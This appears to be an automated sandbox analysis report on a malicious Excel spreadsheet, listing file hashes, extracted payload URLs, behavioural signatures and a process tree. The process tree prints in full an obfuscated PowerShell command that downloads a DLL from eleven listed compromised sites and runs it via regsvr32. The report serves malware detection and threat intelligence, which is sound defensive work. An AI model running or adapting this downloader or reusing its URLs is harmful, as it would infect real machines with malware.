Analysis
-
max time kernel
148s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20/11/2024, 11:50
Behavioral task
behavioral1
Sample
a5cc1f3cd556b39bfa7f4e45bc1c33ba655e9f8216e8095e8a8fc4d50ddd77cf.xls
Resource
win7-20241010-en
General
-
Target
a5cc1f3cd556b39bfa7f4e45bc1c33ba655e9f8216e8095e8a8fc4d50ddd77cf.xls
-
Size
88KB
-
MD5
e47cc48ac0be84533837d2dc9f36aca9
-
SHA1
59a5dcbff74ff00e311351482e43dafd1a93c0c5
-
SHA256
a5cc1f3cd556b39bfa7f4e45bc1c33ba655e9f8216e8095e8a8fc4d50ddd77cf
-
SHA512
8ee4f62ed4ba589784d27f0dcc6738e65f12413165dda7eefe64e3cbd2a36e2e986aa328fc7db7c8c73d07ec6a782dd1a40cb66bf095f01df471db8222cffc1b
-
SSDEEP
1536:/yehv7q2Pjx45uoDGTj+5xtekEvi8/dgL8EsAeE9jbDXQAhkWvgrPE4nWHPNc2At:/yehv7q2Pjx45uoDGTj+5xtekEvi8/dN
Malware Config
Extracted
http://wearsweetbomb.com/wp-content/15zZybP1EXttxDK4JH/
https://1566xueshe.com/wp-includes/z92ZVqHH8/
http://mymicrogreen.mightcode.com/Fox-C/NWssAbNOJDxhs/
http://o2omart.co.in/infructuose/m4mgt2MeU/
http://mtc.joburg.org.za/-/GBGJeFxXWlNbABv2/
http://www.ama.cu/jpr/VVP/
http://actividades.laforetlanguages.com/wp-admin/dU8Ds/
https://dwwmaster.com/wp-content/1sR2HfFxQnkWuu/
https://edu-media.cn/wp-admin/0JAE/
https://iacademygroup.cl/office/G42LJPLkl/
https://znzhou.top/mode/0Qb/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3108 2664 wscript.exe 84 -
Blocklisted process makes network request 7 IoCs
flow pid Process 27 1228 powershell.exe 36 1228 powershell.exe 40 1228 powershell.exe 58 1228 powershell.exe 61 1228 powershell.exe 68 1228 powershell.exe 72 1228 powershell.exe -
pid Process 1228 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2664 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1228 powershell.exe 1228 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1228 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 2664 EXCEL.EXE 2664 EXCEL.EXE 2664 EXCEL.EXE 2664 EXCEL.EXE 2664 EXCEL.EXE 2664 EXCEL.EXE 2664 EXCEL.EXE 2664 EXCEL.EXE 2664 EXCEL.EXE 2664 EXCEL.EXE 2664 EXCEL.EXE 2664 EXCEL.EXE -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 2664 wrote to memory of 3108 2664 EXCEL.EXE 88 PID 2664 wrote to memory of 3108 2664 EXCEL.EXE 88 PID 3108 wrote to memory of 1228 3108 wscript.exe 89 PID 3108 wrote to memory of 1228 3108 wscript.exe 89 PID 3108 wrote to memory of 1276 3108 wscript.exe 105 PID 3108 wrote to memory of 1276 3108 wscript.exe 105 PID 1276 wrote to memory of 2832 1276 cmd.exe 107 PID 1276 wrote to memory of 2832 1276 cmd.exe 107 PID 1276 wrote to memory of 2832 1276 cmd.exe 107
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a5cc1f3cd556b39bfa7f4e45bc1c33ba655e9f8216e8095e8a8fc4d50ddd77cf.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2664 -
C:\Windows\SYSTEM32\wscript.exewscript c:\programdata\bbiwjdf.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3108 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp-contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp-includesdhjz92ZVqHH8dhjbouhttp:dhjdhjmymicrogreen.mightcode.comdhjFox-CdhjNWssAbNOJDxhsdhjbouhttp:dhjdhjo2omart.co.indhjinfructuosedhjm4mgt2MeUdhjbouhttp:dhjdhjmtc.joburg.org.zadhj-dhjGBGJeFxXWlNbABv2dhjbouhttp:dhjdhjwww.ama.cudhjjprdhjVVPdhjbouhttp:dhjdhjactividades.laforetlanguages.comdhjwp-admindhjdU8Dsdhjbouhttps:dhjdhjdwwmaster.comdhjwp-contentdhj1sR2HfFxQnkWuudhjbouhttps:dhjdhjedu-media.cndhjwp-admindhj0JAEdhjbouhttps:dhjdhjiacademygroup.cldhjofficedhjG42LJPLkldhjbouhttps:dhjdhjznzhou.topdhjmodedhj0Qbdhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 47523){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1228
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll3⤵
- Suspicious use of WriteProcessMemory
PID:1276 -
\??\c:\windows\syswow64\regsvr32.exec:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll4⤵
- System Location Discovery: System Language Discovery
PID:2832
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD5b05c20890b70f894844ed2a2703a2dab
SHA13ef692bd2d43a158f6bb0fac9a60c1f645e8782d
SHA256b2207e787438735d0c42a5105e0653a3fef38b4650a47b6f72f6e32d57d87782
SHA512c8649fa3163e2cd0197ddd3933d771999b15e615903d027fba06eeb6d4ba72067f24fd97b7c1a73ae30630c77c365cb1a72d0cb45949a8d5f038cb5bf80e098e
-
Filesize
1KB
MD57baad56cc483132b8b9cb7a14722c3b1
SHA1602f7933c443765697bb178ca137f17f81856f0d
SHA25631cb0d7a224f16ec4e998140c4efde8ef752295b8a88080915f0bb2b49034bee
SHA512b1429608e2068dbe868254f9c3130e8ef75932169c417d0928679c3476614df588a72722e34891a2fe80db41e5e8ee054761af2f2fc3b9c6f0e956de8c9a993f